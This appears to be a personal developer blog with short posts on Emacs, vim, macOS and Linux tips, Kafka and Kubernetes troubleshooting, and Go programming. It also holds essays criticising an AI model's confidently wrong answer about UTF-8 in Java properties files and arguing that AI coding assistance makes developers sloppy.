Skybert's World

Code Folding in Emacs

2026-01-28T00:00:00+01:00

This week I learned Emacs has code folding built in (of course it has!). It's called Hide Show and you enable it with hs-minor-mode and toggle function, class or comment folding/unfolding with hs-cycle. There's many other commands to try: hs-hide-all, hd-show-all and so on.

The default bindings look pretty wild, like C-c @ C-s, but you know what? For the most part, I've stopped learning new shortcuts the last ten years or so and just use M-x with fuzzy search. Works well enough for me, even for things I use regularly, like eglot-rename and delete-trailing-white-space.

Using smex ensures I always have the last recently used at the top.

Happy folding!

Emacs on macOS

2026-01-28T00:00:00+01:00

The best Emacs distribution I've found for macOS, is emacs-plus.

Installing Emacs Plus

$ brew tap d12frosted/emacs-plus
$ brew install emacs-plus@31 --with-imagemagick

Upgrading Emacs Plus

There's no real upgrade of emacs with brew, so uninstall it first to ensure the upgrade goes at intended:

$ brew uninstall emacs-plus@31
$ brew install emacs-plus@31 --with-imagemagick

Swift development in Emacs

2026-01-28T00:00:00+01:00

Install the Swift toolchain

You need to have the Swift toolchain installed. This is typcially bundled inside of xcode. To find the location of the Swift LSP server, run the following command:

$ xcrun --find sourcekit-lsp
/Library/Developer/CommandLineTools/usr/bin/sourcekit-lsp

Install Swift mode

Install swift-mode to make Emacs Swift aware.

Tell Emacs to use it

To try this out manually, open .swift file and invoke:

M-x eglot

When asked which LSP server to run, type in the one you found above:

/Library/Developer/CommandLineTools/usr/bin/sourcekit-lsp

Emacs, or sourcekit-lsp needs a minute (on my machine, this was literally a minute) to wire up things, eventually, you'll see that Emacs springs to life again, with inline code hints, auto completion and other coding goodness.

To make this permant, add the following to your ~/.emacs:

(use-package swift-mode
  :ensure t
  :init
  (add-to-list
   'eglot-server-programs
   '(swift-mode . ("/Library/Developer/CommandLineTools/usr/bin/sourcekit-lsp")))
  )

Happy coding!

Copilot cannot read UTF-8 from a Java Properties File

2026-01-15T00:00:00+01:00

I'm speechless: Copilot get this well understood, old problem with a well established, extensively documented platform all wrong. My question was:

"Can you write UTF-8 in your Java .properties file?"

And it said:

Its answer has three problems:

The test data can be written with ISO-8859-1 encoding, so it doesn't prove that UTF-8 is working.
What's worse, it doesn't work.
Lastly, it gives the impression that this used to be a problem, but is no longer, listing different Java versions and so on, adding credibility to its answer. But alas, it doesn't work. You have to recode the string, read the bytes as ISO 8859-1, and then construct a new string as UTF-8.

SMH.

Ok, let's try out what the robot suggested using a recent Java version:

$ java -version
openjdk version "25.0.1" 2025-10-21
OpenJDK Runtime Environment Homebrew (build 25.0.1)
OpenJDK 64-Bit Server VM Homebrew (build 25.0.1, mixed mode, sharing)

The messages.properties file contains one entry with a 4 byte UTF-8 character:

greeting=👻

The properties file was encoded properly as UTF-8:

$ file messages.properties
messages.properties: Unicode text, UTF-8 text

The Copilot Java source code (I added the comment // Copilot solution) copy and pasted into a file called utf.java:

import java.io.*;
import java.util.*;

public class utf {
    public static void main(String... args) throws Exception {
        Properties props = new Properties();
        try (InputStream in = new FileInputStream("messages.properties")) {
            props.load(in); // Loads as UTF-8 from Java 9+
        }
        // Copilot solution
        System.out.println("Copilot reading UTF-8: " + props.getProperty("greeting"));
    }
}

Now, testing it out, shows that the AI code doesn't work at all:

❯ javac utf.java &&  java utf
Copilot reading UTF-8: ð»

Applying a battled tested fix, acquired after some late night debugging back in the day, added as a second print out statement:

        // Human solution, from experience, that works
        System.out.println(
            "Human reading UTF-8: " +
            new String(
                props.getProperty("greeting").getBytes("ISO-8859-1"),
                "UTF-8"));

Now, the ghost displays correctly:

❯ javac utf.java &&  java utf
Copilot reading UTF-8: ð»
Human reading UTF-8: 👻

Of the three shortcomings of Copilot's answer, I think number three is the worst. It's so confident, backing up all its claims with credible sources and proper rationale. If a colleague their case in such a way, you would of course believe her and not second guess it. Here with this AI robot, though, you should verify it. My hunch is, though, most of the time, people don't.

Good grief.

It should be noted, that the above was using the Copilot chat. Giving the same prompts to Copilot CLI, which has access to your machine and file system, so that it can try out things before suggesting them, arrived at the working solution on the first try. My findings still shocks me. Most people use the chat.

Happy encoding!

Window splits in VIM

2026-01-14T00:00:00+01:00

Recently, I learned how to use window splits and open more files without exiting vim first, lol, what a n00b!

Splitting windows

Create a horizontal split:

:split

Or a vertical split:

:vsplit

You can optionally provide a file name to be visible in the split. If you have the file open in vim (in one of several buffers), you can tab complete the name:

:vpslit .vimrc

Moving between splits

Moving between the splits can be done with C-w <hjkl>, so Ctrl + w l to jump to the window split on the right. On Stack Overflow there were many other suggestions, but the above works out of the box and you don't have to move your hands away to use the arrow keys.

Mapping these makes it a lot faster, though:

nmap <C-h> <C-w>h
nmap <C-j> <C-w>j
nmap <C-k> <C-w>k
nmap <C-l> <C-w>l

List Container Images in a Kubernetes Cluster

2026-01-09T00:00:00+01:00

To get all Kubernetes images in all namespaces, use the following command:

$ kubectl get pods \
    --all-namespaces \
    --output jsonpath="{.items[*].spec['initContainers', 'containers'][*].image}" | 
  sed 's# #\n#g' | 
  sort -u

This is both useful to see what components are running and what their versions are, as this is listed with the image name, e.g.:

registry.k8s.io/coredns/coredns:v1.13.1
registry.k8s.io/etcd:3.6.6-0
registry.k8s.io/kube-apiserver:v1.35.0
registry.k8s.io/kube-controller-manager:v1.35.0
registry.k8s.io/kube-proxy:v1.35.0
registry.k8s.io/kube-scheduler:v1.35.0

Happy hacking!

My Discoveries in 2025

2025-12-23T00:00:00+01:00

macOS

For the first time since 2000, I'm not using Linux as my main workstation. Moving to macOS has been an interesting experience and I've made many tweaks and hacks to make it a comfortable Unix environment. Among other things, I've written install-unix-env-on-macos.sh which configures many macOS features and installs the applications I cannot live without.

The biggest change coming from Linux, was to find a decent window manager. The best I have found, is Aerospace, it's i3 like, but still far from it. It's slower and has lots of bugs. Still, it makes working on macOS bearable. You may check out my Aerospace conf here.

I dearly missed a floating, transparent clock, a minimalistic menu bar (like i3bar), the ability to quickly jump to any window using fuzzy search (like rofi), as well as a better resource monitor (top). To close these gaps, I wrote the apps myself since I couldn't find any existing ones that did exactly what I wanted:

ybar (Swift)
yclock (Swift)
yjump (Swift)
ytop (Go)

The Swift apps yjump, yclock and ybar were vibe coded (I didn't care about the code, I just wanted to get apps that did what I wanted them to), whereas ytop was written without any AI assistance.

yclock

ytop

ybar

yjump

Go

I've learned a new programming language, Go, and must say I like it! As for learning ressources, I can recommend the book, Learning Go. It was my primary learning resource, in addition to Effective Go. For the first couple of months, I refrained from using AI in any form to assist me as I wanted to learn Go the hard way as it makes me better remember what I learn.

Naturally, I made a number of enhancements to my Emacs configuation to make it into a powerful editor for writing Go programs. I have documented all these steps in this YouTube video. The Emacs configuration changes can be found in my .emacs.

Picture from my home office where I spent several weekends getting into Go:

Rego

I've learned a new authorization language, Rego from Open Policy Agent (OPA).

Emacs/Eglot together with the Regal language server makes for a decent editing environment. It didn't provide an easy way to run tests, so to run Rego tests from Emacs, I wrote this elisp function.

Garuda Linux

Arch Linux is my preferred desktop OS, and Debian is the distro I reach for when installing servers. Still, I cannot but love Garuda Linux and enjoy taking it for a spin every now and then:

AI

AI is being shoved down our throuts whether we want it or not. I've thought long and hard about how to use AI and what AI assisted coding (vibing included) does to us. I've written this article about it, called Don't fear the pointer.

I think this article on AI in art and this graphic sums it up perfectly:

For the record, I use AI every day: For resarch, to explain code (e.g. "what does the bit shifting in this tcpdump command do?") and to review code I've just written (e.g. "can this be written more pythonic?"), and code where I don't care about the details (like tests and converting between different data formats). For the cases where I "just want to make it work". I've gotten extensive experience in using GitHub Copilot CLI, developing three full apps from scratch with it, and using it to fix failing test cases. I've also have had AI completion configured in my editor for a couple of years already, it sure is fun in the beginning (I've turned it off, though).

Thanks!

And with that, I'm signing off, looking forward to new technological challenges in 2026. TTFN!

Beware of the case sensitivity in macOS

2025-12-17T00:00:00+01:00

Let's see what kind of file system this is:

$ diskutil info / | grep 'File System Personality'
   File System Personality:   APFS

Is it case sensitive?

$ touch /tmp/{foo,Foo,FoO,fOO}

This looks good, the touch command produced different files:

$ ls /tmp/{foo,Foo,FoO,fOO}
-rw-r--r--  1 torstein  wheel     0B Dec 17 13:12 /tmp/FoO
-rw-r--r--  1 torstein  wheel     0B Dec 17 13:12 /tmp/Foo
-rw-r--r--  1 torstein  wheel     0B Dec 17 13:12 /tmp/fOO
-rw-r--r--  1 torstein  wheel     0B Dec 17 13:12 /tmp/foo

Let's check that they can contain different things as well:

$ for el in /tmp/{foo,Foo,FoO,fOO}; do echo $RANDOM > $el; done
$ cat /tmp/{foo,Foo,FoO,fOO}
22247
22247
22247
22247

Woot?! The same integer in all of them?

Let's check the inodes of the files:

$ stat -f %i /tmp/{foo,Foo,FoO,fOO}
24362032
24362032
24362032
24362032

Argh! It's the same inode. So although macOS shows four files, they're all pointing to the same storage unit. Good grief.

Don't Fear the Pointer

2025-12-05T00:00:00+01:00

I'm currently developing my own top like resource monitor. I'm doing this because I'm currently working on macOS, and I don't like the macOS top. I've tried out both htop and btop and they're great. However, they're not what I want, so I set out to write my own top like app in Go so that I can use it on Linux too.

The first version of my resource monitory, I called it ytop since the y was available, was coded in Emacs without an AI assistant, like Copilot. However, I did use Copilot in a browser window to get code snippets for things like "create a table using this TUI framework" and so on. Using Copilot as my co-consultant, sped up my development for sure and within a few days (well, hours, you see, parents don't really have much more than one hour after the kid has gone to bed and you're done with your chores), I had a working implementation. Happy times!

Now, I decided to rewrite the whole thing, learning from my past mistakes, getting the structure right and last, but not least, not use AI for any purpose, not even research. My tools were just the editor, auto completion with gopls and the Bubbletea TUI library documention.

After an hour or two, I had rewritten the whole thing, this time structuring the app far better, writing the code the way I think is the clearest and most maintainable. With this, I know exectly what's happening everywhere in the code, I can quickly fix it and extend it with new features.

There was just this one problem. It didn't work. The process table came up, the headlines were all correct, but there was no processes listed. I went through each line of my app and didn't find anything wrong. I compared with my previous implementation and couldn't work out what it was. I then changed my re-implementation to, block by block, be that of the original verison of the app. Still no success. Until there were only five lines of difference. And then I saw it. The problem was:

func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
    switch msg := msg.(type) {
..
    case refreshMsg:
        m.updateTable([]pkg.Process(msg))
        return m, refreshCmd()
..
}

func (m model) updateTable(processe []Process) {
   rows := ...
   m.table.SetRows(rows)
..
}

Did you spot the error? I surely didn't. I looked at this code (100 times more lines than the above, but still) many, many, many times.

The problem, of course, was that I'd forgotten that these kind of functions in Go, called value receivers, don't let you modify the object (yes, I know it's called a struct, old words die hard) that you're "on", m in this case. Value receivers are by far the most common "receiver" functions, but if you need to alter the state of the m struct here, you must use a pointer receiver:

func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
    switch msg := msg.(type) {
..
    case refreshMsg:
        m.updateTable([]pkg.Process(msg))
        return m, refreshCmd()
..
}

func (m *model) updateTable(processe []Process) {
   rows := ...
   m.table.SetRows(rows)
..
}

With that one, ONE, character change, my code now worked. ytop displayed processe in all their glory.

When I realised the error, I remembered all of a sudden that I had encountered this before. During the coding of my first implementation of ytop. The thing was, back then, I quickly copied all errors or problems into my Copilot chat window and got ready answers back on how to fix them. For this very problem, I had just copied and pasted my entire Go program into the chat and asked: "No processes are showing up, fix it" (I didn't add "please" since that'll consume more energy on the AI machine).

After two seconds, Copilot fixed it while dilligently explaning what was wrong and how it solved the problem.

The thing was, since I didn't go through the 2-3 day (that's, 2-3 hours 21:30 in the evening for tired parents) pain of debugging, I didn't really learn from it. I didn't feel the pain, so I didn't learn from my mystake. When I one week later encountered the same problem, I had nothing to counter it with.

My takeway from all of this, is that using AI tools takes away some things from you as a developer. First off, is the the pure joy of programming and solving problems on your own. Yes, I've heard "AI is just another abstraction layer" and "AI is just another tool" arguments. I do follow the line of reasoning, but I don't quite accept them. If we instead of "artificial intelligence" called it "guessing machine" we would all be in a more sound placce to discuss this new and arguably exciting technology.

Anyways, AI takes away another thing from coders that's just as bad as the joy of coding itself, and this is my main point in this article: AI makes you sloppy. I could've chosen many words, but I think "sloppy" fits the bill perfectly. You don't become a worse programmer. You can still buckle up and get back into it. But you become lazy. Sloppy.

So am I not using AI then? No, not at all. I will not stop using AI tools, but for apps that I care about, that I am to maintain with a high level of effectiveness and quality, I will do the coding myself. I will use AI for resarch (always cross checking with actual references. AI regularly dreams up code that calls APIs that don't exist) and brain storming. I'll let it create PoCs and I will use it for code I don't really care about, like "create a JSON structure from these 20 Go structs" or "this package lacks unit tests, write some that make sense, not just silly ones". I will continue to enjoy using Copilot CLI to bootstrap projects, fix messy or abandoned code. But for coding the core of the systems I'm responsible for, I will continue to write that myself, thank you very much.

I've spent 25 years getting as fast as possible. Fast at touch typing, which btw, is Programming's Dirtiest Little Secret, honing my coding skills, optimising my editor and programming tools, what Franklin Covey in his book calls "sharpen the saw". I sharpen my saw constantly. I read a lot, I experiment a lot and I practice a lot. This makes me fast. Very fast.

Of course, the AI robot can produce code even faster than me. Much faster. Of course it can, it's a robot after all! But for starters, it's not always it takes the solution into the direction I want it to go. It doesn't necessarily choose my style of programming, choosing the solution which makes the new code blend in with the existing one. Or sometimes, I have problems comprehending what the robot did because it doesn't follow my line of thinking. If I'm then pressed for time, or am demotivated from all the vibing, I might just commit the code and forget about it. When there's a problem in this new code, I just vibe code some more. Which of course makes me drift further away from the code.

Regardless of all of this, what's for sure, is that I will always need to review what the robot did, and potentially rewrite it. It's not like the AI writes some code and that's the end of the story. Thus, when considering the entire flow of implementing a feature: thinking through the problem, designing a solution, writing code to make it work, testing the feature, reviewing the code changes, documenting it, fixing bugs, ironing out corner cases, and later extending the code; the speed gains of having AI code inserted into your editor is not that relevant IMO.

And of course, as any developer will tell you, the coding part is not what you spend most of your time at work doing anyway. For that's meetings!

Happy ~~vibe~~ coding anyone!

Print Reveal JS presentation on macOS

2025-11-13T00:00:00+01:00

Access the presentation by adding ?print-pdf.

Use Safari
Select Print
Select landscape
Select Print background
Select PDF instead of actually printing it.

Lightning Fast Scroll in X

2025-10-15T00:00:00+02:00

Ever wanted your Emacs or less pager to move faster down a huge file, keep pressing the down arrow just doesn't go fast enough? There is a actually an easy way to make the cursor go as fast as you want.

To get fast scrolling in all apps under X.org, you can use the xset r rate <n> <m> command, for example:

$ xset r rate 200 60

The first number is the delay before repeating of the current key press starts and the second number is how many repeated key presses will be sent per second.

You can set it in the script that starts up your window manager or desktop environment, e.g. .xsession or .config/i3/config.

Happy scrolling!

Make Meetings a Safe Place to Discuss And Share Ideas

2025-09-23T00:00:00+02:00

These are my suggestions to meeting participants in general and architects and senior developers in particular:

Give your colleague's idea 5 minutes. It could very well be the ide has merits you don't see. Letting the idea float for a couple of minutes before you shoot it down does not mean you endorse it.
Appreciate that there are no perfect solutions, all approaches come with their own set of advantages and disadvantages. Thus, make the meeting a safe place where people can share their ideas and voice their thoughts.
Don't interrupt
Don't laugh at your colleague's arguments.

How to exit vim when Q doesn't work

2025-09-10T00:00:00+02:00

The q is broken on my keyboard, thus, I cannot exit from anything using less as a pager, or indeed vim. Eventually, I caved in an RTFMed. man less told me that ZZ is an alternative way of exiting less. Turns out it works in vim. Happy days.

Great start on my day: Wrote some elisp to search for symbol at point. A few lines of elisp that will keep me smiling throughout the week :-)

Update

After two weeks of not working, my q came to life again today. I suspect there was some software on macOS that held on to it, possibly the input switcher (I constantly switch between different keyboard layouts), that's at least what makes the most sense to me.

Still, I'm happy I know an alternative way out of less and vim.

Use a fancy font in Slack

2025-09-03T00:00:00+02:00

TIL you can use other fonts than the 10 or in the Slack preferences dialogue, if you run /slackfont <name>, e.g.:

/slackfont "Source Code Pro"

cd to git repo with zsh and fzf

2025-09-02T00:00:00+02:00

Navigate to any git checkout dir

In my .zshrc I have defined this function:

cdgit() {
    local dir=
    dir=$(
      stdbuf --output=L \
        find "$HOME/src" -maxdepth 4 -type d -name .git |
        sed -u 's#/\.git$##' |
        fzf)

    if [[ -n "${dir}" ]]; then
        cd "${dir}" || exit 1
        zle reset-prompt
    fi
}

Create a zle widget and bind it to cdgit

Also in .zshrc, I bind it to a shortcut, I like Ctrl + g:

zle -N cdgit
bindkey '^G' cdgit

Adjust the screen brightness from the command line

2025-08-25T00:00:00+02:00

Find your laptop graphics card in /sys/devices

On my system, the internal, laptop screen is called eDP-1, so I search for card1-eDP-1:

$ find /sys/devices -name card1-eDP-1
/sys/devices/pci0000:00/0000:00:02.0/drm/card1/card1-eDP-1

If you get no hits, search for card1 instead and see what cards are present:

$ find /sys/devices -name card1
/sys/devices/pci0000:00/0000:00:02.0/drm/card1

When you've found it, cd into the dir and follow the steps below:

$ cd /sys/devices/pci0000:00/0000:00:02.0/drm/card1/card1-eDP-1

Find the max brightness

$ cat ./intel_backlight/max_brightness
1060

Find the current brightness

$ cat ./intel_backlight/brightness
1060

Adust the brightness

Here, I decrease the brightness, which was at 1060:

$ echo 900 | sudo tee ./intel_backlight/brightness
900

Set max brightness

$ cat ./intel_backlight/max_brightness | sudo tee ./intel_backlight/brightness
960

macOS Lets Regular User Process Bind to Privileged Ports

2025-08-20T00:00:00+02:00

Recently, I learned that macOS allows a regular user process to bind to a privileged port.

To test this out, in one terminal, do:

$ nc -l 0.0.0.0 80

In a second terminal, talk to the process listening on port 80:

echo "hello world" | nc 127.0.0.1 80

The first terminal should now print:

hello world

Cool eh? Happy networking!

Move Window by Click Draging It

2025-08-11T00:00:00+02:00

I didn't realise I use this regularly, but now that I'm on macOS, I'm now aware of this tiny, but useful feature of X11.

You can get X11-like move window by clicking anywhere on it by setting this flag true:

$ defaults write -g NSWindowShouldDragOnGesture -bool true

and then logout and in again.

It's <cmd> + <ctrl> + <click> rather than <alt> + <click> but close enough.

Ensure required cmd in Makefile targets

2025-08-07T00:00:00+02:00

To conditionally install the swag command required for my openapi-generate target, I find this approach to be both easy and portable. It works well because swag is a Go binary, so I have a way to install it regardless of the user's platform, using go install:

GOPATH ?= $(HOME)/go/bin
SWAG = $(GOPATH)/swag
openapi-generate:
    test -x $(SWAG) || go install github.com/swaggo/swag/cmd/swag
    $(SWAG) init
    $(SWAG) fmt

It's important to note, the variables must be set outside the target, openapi-generate.

How to find an app's id on macOS

2025-07-30T00:00:00+02:00

Sometimes, you need to know the app id, like configuring the window manager to always put Slack on workspace number 6. To get the app id, you can use mdls and just give it the path to the app directory:

$ mdls -name kMDItemCFBundleIdentifier -r /Applications/Slack.app
com.tinyspeck.slackmacgap …

Bluetooth from the CLI on macOS

2025-06-25T00:00:00+02:00

Turn on and off Bluetooth

$ blueutil --power 0 # off
$ blueutil --power 1 # on

List connected Bluetooth devices

To list your connected Bluetooth devices, do:

$ blueutil --connected
address: 50-c2-75-77-8c-d4, connected (master, -31 dBm), not favourite, paired, name: "skybert-Jabra Evolve2 65", recent access date: 2025-06-25 06:22:04 +0000
address: dd-d2-83-e2-74-02, connected (master, 0 dBm), not favourite, paired, name: "skybert-MX Master 3S B", recent access date: 2025-06-25 06:22:04 +0000

Connect to a previously paired device

$ blueutil --connect 50-c2-75-77-8c-d4

Power Point Architect

2025-05-30T00:00:00+02:00

Power Point Architect (n.)
Pronunciation: /ˈpaʊə pɔɪnt ˈɑː.kɪ.tekt/
Abbreviation: PPA

colloquial. A person who has never contributed code to a software product but who makes or influences high-level architectural decisions that affect the design, development, and maintenance of that product, through presentations, meetings, and Power Point slides rather than working code.

Compare: software architect, system architect, technical architect.

Note: A Power Point Architect is distinct from a Software Architect—an experienced developer who has contributed substantial code to the product and has transitioned to focus on system design, interface specifications, and technical communication. Such architects are typically guided by best practices as outlined in texts such as 97 Things Every Software Architect Should Know (Monson-Haefel, R., 2009).

Encrypt all files in dir using GPG

2025-05-27T00:00:00+02:00

If you have your unencrypted files in a directory "unencrypted":

$ find unencrypted -type f
unencrypted/foo.conf
unencrypted/secret/bar.conf

You can write a wee bash function like this:

## $1 :: dir with files you want to encrypt
gpg_key=your.user@example.com

encrypt_files_in_dir() {
  local dir=$1
  find "${dir}" -type f -and -not -name "*.asc" |
    while read -r f; do
      gpg --encrypt --armour --yes --recipient "${gpg_key}" "${f}"
      target_dir=$(dirname "${f}" | sed 's#/unencrypted##')
      mkdir -p "${target_dir}"
      mv "${f}".asc "${target_dir}/."
    done
}

Then call it with a directory holding unencrypted files:

main() {
  encrypt_files_in_dir /path/to/unencrypted
}

This will encrypt all the files and put them in a similar structure:

$ find -type f
unencrypted/foo.conf
unencrypted/secret/bar.conf
foo.conf.asc
secret/bar.conf.asc

Nice, eh?

The Mystery of Code Sometimes Not Compiling

2025-05-07T00:00:00+02:00

Java developers: If you're using the Eclipse LSP in your editor and Maven on the command line, the former will cause problems if you have annotation processors. Several editors use the Eclipse LSP, including VS Code and Emacs.

If you're suffering from random errors with your Lombok, Protobuf or other annotation processed magic beans, you can use this trick when running mvn on the command line:

Pause Eclipse LSP processes: pgrep -f org.eclipse.jdt.ls | xargs kill -STOP
Run Maven as normal: mvn install
Resume Eclipse LSP processes: pgrep -f org.eclipse.jdt.ls | xargs kill -CONT

This took me a long time to figure out.

You can also put this in a shell alias, so you can just type mci (short for mvn clean install):

alias mci="pgrep -f org.eclipse.jdt.ls |
  xargs kill -STOP ;
  mvn clean; mvn install ;
  pgrep -f org.eclipse.jdt.ls | xargs kill -CONT;
  xeyes"

Happy coding!

Kafka Fails to Start

2025-04-29T00:00:00+02:00

After upgrading to Kafka 4 on my Arch Linux machine, Kafka would no longer start:

$ grep '2025.*upgraded kafka' /var/log/pacman.log
[2025-04-08T09:19:03+0200] [ALPM] upgraded kafka (3.9.0-1 -> 4.0.0-1)

The error: No readable meta.properties files found

× kafka.service - Kafka server
     Loaded: loaded (/usr/lib/systemd/system/kafka.service; enabled; preset: disabled)
     Active: failed (Result: exit-code) since Mon 2025-04-28 16:50:56 CEST; 19h ago
   Duration: 992ms
 Invocation: ba41cd048f3e43e29559fcd7bf5ae786
    Process: 523358 ExecStart=/usr/bin/kafka-server-start.sh /etc/kafka/server.properties (code=exited, status=1/FAILURE)
   Main PID: 523358 (code=exited, status=1/FAILURE)
   Mem peak: 134.5M
        CPU: 1.429s

Apr 28 16:50:56 mithrandir kafka-server-start.sh[523358]: java.lang.RuntimeException: No readable meta.properties files found.
Apr 28 16:50:56 mithrandir kafka-server-start.sh[523358]:         at org.apache.kafka.metadata.properties.MetaPropertiesEnsemble.verify(MetaPropertiesEnsemble.java:480) ~[kafka-metadata-4.0.0.jar:?]
Apr 28 16:50:56 mithrandir kafka-server-start.sh[523358]:         at kafka.server.KafkaRaftServer$.initializeLogDirs(KafkaRaftServer.scala:141) ~[kafka_2.13-4.0.0.jar:?]
Apr 28 16:50:56 mithrandir kafka-server-start.sh[523358]:         at kafka.server.KafkaRaftServer.<init>(KafkaRaftServer.scala:56) ~[kafka_2.13-4.0.0.jar:?]
Apr 28 16:50:56 mithrandir kafka-server-start.sh[523358]:         at kafka.Kafka$.buildServer(Kafka.scala:68) ~[kafka_2.13-4.0.0.jar:?]
Apr 28 16:50:56 mithrandir kafka-server-start.sh[523358]:         at kafka.Kafka$.main(Kafka.scala:75) [kafka_2.13-4.0.0.jar:?]
Apr 28 16:50:56 mithrandir kafka-server-start.sh[523358]:         at kafka.Kafka.main(Kafka.scala) [kafka_2.13-4.0.0.jar:?]
Apr 28 16:50:56 mithrandir systemd[1]: kafka.service: Main process exited, code=exited, status=1/FAILURE
Apr 28 16:50:56 mithrandir systemd[1]: kafka.service: Failed with result 'exit-code'.
Apr 28 16:50:56 mithrandir systemd[1]: kafka.service: Consumed 1.429s CPU time, 134.5M memory peak.

Trying to solve it

First up, was to figure out where Kafka reads its data log from:

# grep ^log.dirs /etc/kafka/server.properties
log.dirs=/tmp/kraft-combined-logs

I then created this non-existant directory:

# mkdir /tmp/kraft-combined-logs

And initialised the Kafka storage in this directory:

# sudo -u kafka kafka-storage.sh format -t $(kafka-storage.sh random-uuid) -c /etc/kafka/server.properties --standalone
Formatting dynamic metadata voter directory /tmp/kraft-combined-logs with metadata.version 4.0-IV3.

That created these files, and it, at least to me, looked good:

# tree /tmp/kraft-combined-logs/
/tmp/kraft-combined-logs/
├── bootstrap.checkpoint
├── cleaner-offset-checkpoint
├── __cluster_metadata-0
│   ├── 00000000000000000000-0000000000.checkpoint
│   ├── 00000000000000000000.index
│   ├── 00000000000000000000.log
│   ├── 00000000000000000000.timeindex
│   ├── 00000000000000000059.snapshot
│   ├── leader-epoch-checkpoint
│   ├── partition.metadata
│   └── quorum-state
├── log-start-offset-checkpoint
├── meta.properties
├── recovery-point-offset-checkpoint
└── replication-offset-checkpoint

2 directories, 14 files

However, starting it from systemd still failed, although manually starting it worked (wot?!!):

# sudo -u kafka /usr/bin/kafka-server-start.sh /etc/kafka/server.properties

Fixing it for real

It turned out that the reason it didn't work from systemd, was because the binary logs were in /tmp, which was mounted like this:

$ mount | grep /tmp
tmpfs on  /tmp type tmpfs (rw,nosuid,nodev,nr_inodes=1048576,inode64)

To change this, I did:

# vim /etc/kafka/server.properties

And changed log.dirs to:

log.dirs=/var/lib/kafka

The directory was already owned and writeable by the kafka user, but just to be sure I checked both that the systemd unit was started as the kafka user and that the directory was owned by this user:

# ls -ltra /var/lib/kafka
drwxr-xr-x 3 kafka kafka 4.0K Apr 29 13:23 /var/lib/kafka/

# systemctl cat kafka | grep ^User=
User=kafka

I then, created new storage files for Kafka using the kafka user. The command reads the target directory from /etc/kafka/server.properties, so it was just another invocation of the command from before:

# sudo -u kafka kafka-storage.sh format -t $(kafka-storage.sh random-uuid) -c /etc/kafka/server.properties --standalone

With those two changes, Kafka now started successfully:

# systemctl restart kafka

Yeah!

Fixing the logging

While at it, I fixed another thing, namely the logging. You see, Kafka complained that:

main ERROR Reconfiguration failed: No configuration found for '76ed5528' at 'null' in 'null'

This turned out to be log4j not being able to configure itself properly. To fix this, I told the systemd unit to use the log4j configuraiton that is actually in the Arch package, the YAML version and not the old .properties version that's no longer there:

# ls /etc/kafka/log4j*
lrwxrwxrwx 1 root root 35 Mar 20 00:24 /etc/kafka/log4j2.yaml -> /usr/share/kafka/config/log4j2.yaml

The systemd unit was clearly missing the correct log4j conf reference, so I created an override:

# systemctl edit kafka

At the top, I added:

[Service]
Environment=
Environment=KAFKA_PID_DIR=/run/kafka/
Environment=LOG_DIR=/var/log/kafka
Environment="KAFKA_LOG4J_OPTS=-Dlog4j.configurationFile=/etc/kafka/log4j2.yaml"

Now, reload systemd and restart the kafka unit:

# systemctl daemon-reload
# systemctl restart kafka

And now, Kafka wasn't only running poperly, but also produced useful log message, allowing me to turn on debug logging too to delve deeper.

Happy messaging!

Simple Modeline Brings Peace of Mind

2025-04-25T00:00:00+02:00

I've been using my own modeline this week and I like the simplicity of it: Buffer name, file state (unsaved/saved), file encoding, clock, system load and line & column numbers. That's it.

(setq display-time-day-and-date nil)
(setq display-time-load-average nil)
(setq display-time-24hr-format t)
(display-time-mode 1)
(setq-default mode-line-format '(" %b %* %z " display-time-string " (%l, %c)"))

Hunspell cannot find dictionary

2025-04-14T00:00:00+02:00

Emacs complained wherever I opened a file:

Can't open affix or dictionary files for dictionary named "en_GB". arch linux

I first thought this was an Emacs problem, but it turned out to be hunspell itself. Running it from the command line showed:

$ hunspell -D
SEARCH PATH:
.::/usr/share/hunspell:/usr/share/myspell:/usr/share/myspell/dicts:/Library/Spelling:/home/torstein/.openoffice.org/3/user/wordbook:/home/torstein/.openoffice.org2/user/wordbook:/home/torstein/.openoffice.org2.0/user/wordbook:/home/torstein/Library/Spelling:/opt/openoffice.org/basis3.0/share/dict/ooo:/usr/lib/openoffice.org/basis3.0/share/dict/ooo:/opt/openoffice.org2.4/share/dict/ooo:/usr/lib/openoffice.org2.4/share/dict/ooo:/opt/openoffice.org2.3/share/dict/ooo:/usr/lib/openoffice.org2.3/share/dict/ooo:/opt/openoffice.org2.2/share/dict/ooo:/usr/lib/openoffice.org2.2/share/dict/ooo:/opt/openoffice.org2.1/share/dict/ooo:/usr/lib/openoffice.org2.1/share/dict/ooo:/opt/openoffice.org2.0/share/dict/ooo:/usr/lib/openoffice.org2.0/share/dict/ooo
AVAILABLE DICTIONARIES (path is not mandatory for -d option):
Can't open affix or dictionary files for dictionary named "en_GB".

So, I tried the most obvious thing, search for a hunspell dictionary for English. I thought English was installed by default, but alas:

$ pacman -Ss hunspell english
extra/hunspell-en_au 2020.12.07-5
    AU English hunspell dictionaries
extra/hunspell-en_ca 2020.12.07-5
    CA English hunspell dictionaries
extra/hunspell-en_gb 2020.12.07-5
    GB English hunspell dictionaries
extra/hunspell-en_us 2020.12.07-5
    US English hunspell dictionaries

None of these were installed by default. To get the British dictionary, I just did:

# pacman -S extra/hunspell-en_gb

And with that, Hunspell works everywhere, including in Emacs.

Happy spell checking!

Inspect Incoming HTTP Traffic to Dropwizard micro services

2025-04-10T00:00:00+02:00

To Debug HTTP traffic into any Dropwizard micro service, can easily be done by enabling DEBUG logging on these two Jetty components:

logging:
  level: ERROR
  loggers:
    org.eclipse.jetty.server.HttpChannel: DEBUG
    org.eclipse.jetty.http.HttpParser: DEBUG

Example output:

2024-01-26 13:27:45.375 DEBUG [2024-01-26 12:27:45,375] org.eclipse.jetty.http.HttpParser: parseNext s=START HeapByteBuffer@3824e567[p=0,l=326,c=8192,r=326]={<<<GET /user/me?access_token...t: application/json\r\n\r\n>>>ttp://www...\x00\x00\x00\x00\x00\x00\x00}
..
2024-01-26 13:27:45.376 DEBUG [2024-01-26 12:27:45,375] org.eclipse.jetty.http.HttpParser: HEADER:User-Agent: Stibo DX CUE DAM (DC-X) 7.0.0 (http://www.digicol.de/) --> IN_VALUE
2024-01-26 13:27:45.376 DEBUG [2024-01-26 12:27:45,375] org.eclipse.jetty.http.HttpParser: HEADER:User-Agent: Stibo DX CUE DAM (DC-X) 7.0.0 (http://www.digicol.de/) --> FIELD
